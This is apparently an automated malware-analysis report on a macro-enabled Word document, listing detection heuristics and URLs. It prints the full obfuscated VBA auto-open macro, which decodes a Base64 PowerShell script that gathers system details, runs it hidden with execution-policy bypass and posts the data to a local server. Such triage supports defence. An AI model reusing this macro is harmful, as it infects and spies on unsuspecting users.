MALICIOUS
440
Risk Score
Heuristics 12
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ClamAV: Win.Worm.IFeel-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Worm.IFeel-1
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VBA project inside OOXML medium 7 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Dim fso As Object, tmp As Object, shell As Object -
VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGERVBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.Matched line in script
Dim fso As Object, tmp As Object, shell As Object -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Dim fso As Object, tmp As Object, shell As Object -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set fso = CreateObject(Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(105) & Chr(110) & Chr(103) & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116)) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
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AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "AutoOpen" -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
path = Environ(StrReverse("PMET")) & "\" & fileName ' -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://127.0.0.1:1080/ Referenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 6352 bytes |
SHA-256: b5d3effaa984a87ee8a309f2c5de3c4592533b15214f27638805a5c7cbf3746c |
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Detection
ClamAV:
Win.Worm.IFeel-1
Obfuscation or payload:
likely
37 of 71 identifiers look randomly generated (e.g. 'PSBDT01QVVRFUiBJTkZPID09PT09Jw0KJFJlcG9y') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Sub AutoOpen()
RunPS
End Sub
Sub RunPS()
Dim chunks(1 To 35) As String
Dim full As String
Dim i As Integer
Dim fso As Object, tmp As Object, shell As Object
Dim path As String
chunks(1) = "JFNlcnZlclVybCA9ICdodHRwOi8vMTI3LjAuMC4xOjEwODAvJw0KJFJlcG9ydCA9IEAoKQ0KJFJl"
chunks(2) = "cG9ydCArPSAnPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09"
chunks(3) = "PT09PScNClJFcG9ydCArPSAnU1lTVEVNIFJFUE9SVCcNCiRSZXBvcnQgKz0gJ0dlbmVyYXRlZDog"
chunks(4) = "JyArIChHZXQtRGF0ZSkNCiRSZXBvcnQgKz0gJz09PT09PT09PT09PT09PT09PT09PT09PT09PT09"
chunks(5) = "PT09PT09PT09PT09PT09PT09PT09PT0nDQokUmVwb3J0ICs9ICcnDQokUmVwb3J0ICs9ICc9PT09"
chunks(6) = "PSBDT01QVVRFUiBJTkZPID09PT09Jw0KJFJlcG9ydCArPSAoR2V0LUNvbXB1dGVySW5mbyB8IE91"
chunks(7) = "dC1TdHJpbmcpDQokUmVwb3J0ICs9ICc9PT09PSBPUEVSQVRJTkcgU1lTVEVNID09PT09Jw0KJFJl"
chunks(8) = "cG9ydCArPSAoR2V0LUNpbUluc3RhbmNlIFdpbjMyX09wZXJhdGluZ1N5c3RlbSB8IEZvcm1hdC1M"
chunks(9) = "aXN0IENhcHRpb24sVmVyc2lvbixCdWlsZE51bWJlcixPU0FyY2hpdGVjdHVyZSxMYXN0Qm9vdFVw"
chunks(10) = "VGltZSB8IE91dC1TdHJpbmcpDQokUmVwb3J0ICs9ICc9PT09PSBCSU9TID09PT09Jw0KJFJlcG9y"
chunks(11) = "dCArPSAoR2V0LUNpbUluc3RhbmNlIFdpbjMyX0JJT1MgfCBGb3JtYXQtTGlzdCBNYW51ZmFjdHVy"
chunks(12) = "ZXIsU01CSU9TQmlvc1ZlcnNpb24sUmVsZWFzZURhdGUgfCBPdXQtU3RyaW5nKQ0KJFJlcG9ydCAr"
chunks(13) = "PSAnPT09PT0gQ1BVID09PT09Jw0KJFJlcG9ydCArPSAoR2V0LUNpbUluc3RhbmNlIFdpbjMyX1By"
chunks(14) = "b2Nlc3NvciB8IEZvcm1hdC1MaXN0IE5hbWUsTWFudWZhY3R1cmVyLE51bWJlck9mQ29yZXMsTnVt"
chunks(15) = "YmVyT2ZMb2dpY2FsUHJvY2Vzc29ycyB8IE91dC1TdHJpbmcpDQokUmVwb3J0ICs9ICc9PT09PSBN"
chunks(16) = "RU1PUlkgPT09PT0nDQokUmVwb3J0ICs9IChHZXQtQ2ltSW5zdGFuY2UgV2luMzJfUGh5c2ljYWxN"
chunks(17) = "ZW1vcnkgfCBGb3JtYXQtVGFibGUgTWFudWZhY3R1cmVyLENhcGFjaXR5LFNwZWVkIC1BdXRvU2l6"
chunks(18) = "ZSB8IE91dC1TdHJpbmcpDQokUmVwb3J0ICs9ICc9PT09PSBESVNLUyA9PT09PScNCiRSZXBvcnQg"
chunks(19) = "Kz0gKEdldC1DaW1JbnN0YW5jZSBXaW4zMl9Mb2dpY2FsRGlzayB8IEZvcm1hdC1UYWJsZSBEZXZp"
chunks(20) = "Y2VJRCxWb2x1bWVOYW1lLEZpbGVTeXN0ZW0sQHtMYWJlbD0nU2l6ZShHQiknO0V4cHJlc3Npb249"
chunks(21) = "e1ttYXRoXTo6Um91bmQoJF8uU2l6ZS8xR0IsMil9fSxAe0xhYmVsPSdGcmVlKEdCKSc7RXhwcmVz"
chunks(22) = "c2lvbj17W21hdGhdOjpSb3VuZCgkXy5GcmVlU3BhY2UvMUdCLDIpfX0gLUF1dG9TaXplIHwgT3V0"
chunks(23) = "LVN0cmluZykNCiRSZXBvcnQgKz0gJz09PT09IE5FVFdPUksgPT09PT0nDQokUmVwb3J0ICs9IChH"
chunks(24) = "ZXQtQ2ltSW5zdGFuY2UgV2luMzJfTmV0d29ya0FkYXB0ZXJDb25maWd1cmF0aW9uIHwgV2hlcmUt"
chunks(25) = "T2JqZWN0IHsgJF8uSVBFbmFibGVkIH0gfCBGb3JtYXQtTGlzdCBEZXNjcmlwdGlvbixNQUNBZGRy"
chunks(26) = "ZXNzLElQQWRkcmVzcyxEZWZhdWx0SVBHYXRld2F5LEROU1NlcnZlclNlYXJjaE9yZGVyIHwgT3V0"
chunks(27) = "LVN0cmluZykNCiRSZXBvcnQgKz0gJz09PT09IEdQVSA9PT09PScNCiRSZXBvcnQgKz0gKEdldC1D"
chunks(28) = "aW1JbnN0YW5jZSBXaW4zMl9WaWRlb0NvbnRyb2xsZXIgfCBGb3JtYXQtTGlzdCBOYW1lLEFkYXB0"
chunks(29) = "ZXJSQU0sRHJpdmVyVmVyc2lvbiB8IE91dC1TdHJpbmcpDQokUmVwb3J0ICs9ICc9PT09PSBSVU5O"
chunks(30) = "SU5HIFBST0NFU1NFUyA9PT09PScNCiRSZXBvcnQgKz0gKEdldC1Qcm9jZXNzIHwgU29ydC1PYmpl"
chunks(31) = "Y3QgUHJvY2Vzc05hbWUgfCBTZWxlY3QtT2JqZWN0IC1GaXJzdCAzMCB8IE91dC1TdHJpbmcpDQok"
chunks(32) = "U3lzdGVtSW5mb1RleHQgPSAkUmVwb3J0IC1qb2luICJgcgBuIg0KdHJ5IHsNCiAgICBJbnZva2Ut"
chunks(33) = "UmVzdE1ldGhvZCAtVXJpICRTRVJWRVJVUkwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRTeXN0ZW1JbmZv"
chunks(34) = "VGV4dCAtQ29udGVudFR5cGUgJ3RleHQvcGxhaW47IGNoYXJzZXQ9dXRmLTgnDQp9IGNhdGNoIHsN"
chunks(35) = "CiAgICBleGl0IDEgDQp9"
full = ""
For i = 1 To 35
full = full & chunks(i)
Next i
Dim revName As String
revName = "1sp.1"
Dim fileName As String
fileName = StrReverse(revName)
Set fso = CreateObject(Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(105) & Chr(110) & Chr(103) & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116))
path = Environ(StrReverse("PMET")) & "\" & fileName '
Set tmp = fso.CreateTextFile(path, True)
tmp.Write DecodeBase64(full)
tmp.Close
Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
Dim fullCmd As String
Dim psBin As String
psBin = Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
fullCmd = psBin _
& Chr(32) & Chr(45) & Chr(78) & Chr(111) & Chr(80) & Chr(114) & Chr(111) & Chr(102) & Chr(105) & Chr(108) & Chr(101) _
& Chr(32) & Chr(45) & Chr(69) & Chr(120) & Chr(101) & Chr(99) & Chr(117) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(80) & Chr(111) & Chr(108) & Chr(105) & Chr(99) & Chr(121) & Chr(32) & Chr(66) & Chr(121) & Chr(112) & Chr(97) & Chr(115) & Chr(115) _
& Chr(32) & Chr(45) & Chr(87) & Chr(105) & Chr(110) & Chr(100) & Chr(111) & Chr(119) & Chr(83) & Chr(116) & Chr(121) & Chr(108) & Chr(101) & Chr(32) & Chr(72) & Chr(105) & Chr(100) & Chr(100) & Chr(101) & Chr(110) _
& Chr(32) & Chr(45) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(32) & Chr(34) & path & Chr(34)
shell.Run fullCmd, 0, True
shell.Run fullCmd, 0, True
On Error Resume Next
fso.DeleteFile path
On Error GoTo 0
End Sub
Function DecodeBase64(ByVal s As String) As String
Dim d As Object, node As Object
Do While Len(s) Mod 4 <> 0
s = s & "="
Loop
Set d = CreateObject("MSXML2.DOMDocument")
Set node = d.CreateElement("tmp")
node.DataType = "bin.base64"
node.Text = s
DecodeBase64 = StrConv(node.NodeTypedValue, vbUnicode)
Set node = Nothing
Set d = Nothing
End Function
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 41472 bytes |
SHA-256: 4d5487a621163ed0f12c2c4a16873573452f7be830679dd4cd6563328076f10c |
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Detection
ClamAV:
Win.Worm.IFeel-1
Obfuscation or payload:
unlikely
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